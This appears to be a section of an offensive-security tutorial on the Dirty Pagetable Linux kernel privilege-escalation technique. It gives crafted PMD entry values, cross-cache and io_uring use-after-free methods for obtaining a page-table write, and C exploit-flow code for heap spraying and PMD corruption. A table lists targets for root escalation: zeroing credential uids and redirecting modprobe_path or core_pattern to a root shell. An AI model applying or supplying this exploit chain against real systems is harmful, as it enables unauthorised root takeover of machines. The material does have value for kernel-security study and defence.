BLUE DRAGON SECURITY

bluedragonsec.com

Part 4. Dirty Pagetable

01 Dirty Pagetable Concept

Dirty Pagetable exploits the fact that page table entries (PMD/PTE) are stored in ordinary kernel memory. If an attacker can write to a page used as a PMD table, they can create userspace mappings pointing to any physical address — including the kernel physmap.

1. Obtain a write primitive to the slab page currently used as a PMD table
2. Overwrite one PMD entry: change the PFN to the target physical page (e.g., the page containing struct cred), set US=1 (user-accessible), RW=1
3. From userspace: access the virtual address mapped by the corrupted PMD entry
4. We now have direct read/write to the target physical page

> ✗ **IMPORTANT**
> WHY THIS IS POWERFUL: After a successful PMD corruption, the attacker has arbitrary physical memory read/write from userspace — without needing a KASLR bypass, without kernel function execution. Simply scan the physmap for the cred struct and zero out the uid field.

02 PMD Entry Format — Key to the Technique

```
For 2MB hugepage (PS=1):
[63]    NX  = 0       (executable)
[51:21] PFN = physical_2MB_frame
[12]    PAT = 0
[8]     G   = 0       (not global)
[7]     PS  = 1       ← REQUIRED for 2MB hugepage
[6]     D   = 1       (dirty)
[5]     A   = 1       (accessed)
[2]     US  = 1       ← REQUIRED: user-accessible
[1]     RW  = 1       ← REQUIRED: read-write
[0]     P   = 1       (present)

/* Crafted PMD entry pointing to target physical page: */
/* Example: target = struct cred at phys 0x1234000 */
uint64_t fake_pmd = (0x1234000 & ~0xFFF) | 0x67;
/*                   PFN                    P+RW+US+A+D */
```

03 How to Obtain a PMD Write in K7

To reach a PMD table page, we leverage the fact that the kernel uses the slab allocator for page table pages. In kernel 7, pgtable pages are allocated from the buddy allocator after going through the slab free path.

Method A: Cross-Cache via Barn (K7 specific)

```
1. Allocate many objects from kmalloc-4096 (size 4KB = 1 page)
2. Free all of them → pages returned to buddy allocator
3. Trigger page table allocation (via mmap of many VMAs)
   → kernel uses pages from buddy for PMD tables
   → high probability of reusing the same pages
4. We still hold a dangling pointer to one of those objects
5. Write via dangling pointer → we are now writing into a PMD table
```

Method B: UAF in io_uring (K7 specific)

```
1. Use io_uring UAF (io_bpf_filter or io_kiocb bug) to obtain
   arbitrary write into the ring buffer region
2. Ring buffer is set up near page table pages
3. OOB write to PMD table via ring buffer overflow
```

04 Exploit Flow — Dirty Pagetable K7

```c
#include <sys/mman.h>
#include <string.h>

#define PMD_ENTRY_SIZE  8
#define PMD_COUNT       512   /* 512 entries per PMD page */
#define PHYSMAP_BASE    0xffff888000000000ULL  /* typical kernel 7 */

/* Step 1: Spray and free 4KB objects to reclaim via pgtable */
void setup_pgtable_reclaim() {
    #define SPRAY_4K 512
    void *spray[SPRAY_4K];

    /* Allocate 512 × 4KB objects */
    for (int i = 0; i < SPRAY_4K; i++)
        spray[i] = trigger_kmalloc_4096();

    /* Free all — pages go back to buddy */
    for (int i = 0; i < SPRAY_4K; i++)
        trigger_kfree(spray[i]);

    /* Keep one dangling pointer (spray[256]) */
    /* This is our write primitive into what may become a PMD page */
}

/* Step 2: Force page table allocation */
void force_pgtable_alloc() {
    /* mmap many VMAs to force kernel to allocate PMD tables */
    for (int i = 0; i < 1024; i++) {
        void *m = mmap(NULL, 2*1024*1024, PROT_READ|PROT_WRITE,
                       MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
        /* touch each to force actual PTE allocation */
        *(volatile char*)m = 0;
    }
}

/* Step 3: Write corrupted PMD entry */
void corrupt_pmd_entry(void *dangling_ptr, int entry_idx,
                       unsigned long target_pfn) {
    uint64_t *pmd_page = (uint64_t *)dangling_ptr;
    /* Craft entry: target_pfn | Present | RW | User | Accessed | Dirty */
```

```
    pmd_page[entry_idx] = (target_pfn << 12) | 0x67;
}
```

05 Physmap: Read/Write Anything After PMD Corruption

After a successful PMD corruption, the attacker has read/write access to the targeted physical page. By systematically scanning the physmap, all targets become accessible:

Target	Physmap Identification Method	Action
struct cred	usage=1, uid=getuid(), gid=getgid()	Zero-out uid/gid/euid/egid
modprobe_path	String "/sbin/modprobe" in kernel text region	Overwrite with path to our script
core_pattern	String "core" or "|/usr/..."	Overwrite with "|/path/to/rootshell"
Function pointer	Pointer to known function (from /proc/kallsyms)	Redirect to shellcode or ROP

06 K6 vs K7 Differences for This Technique

Aspect	Kernel 6	Kernel 7
Core technique	Identical — PMD corruption	Identical — unchanged
Getting write primitive	UAF/OOB via kmem_cache_cpu freelist	UAF/OOB via slab_sheaf objects[] or cross-cache barn
Page table page reclaim	Via partial slab list drain	Via barn drain or direct buddy allocation
Physmap base address	0xffff888000000000	Same — unchanged in K7
KPTI impact	No effect (PMD in kernel space)	Same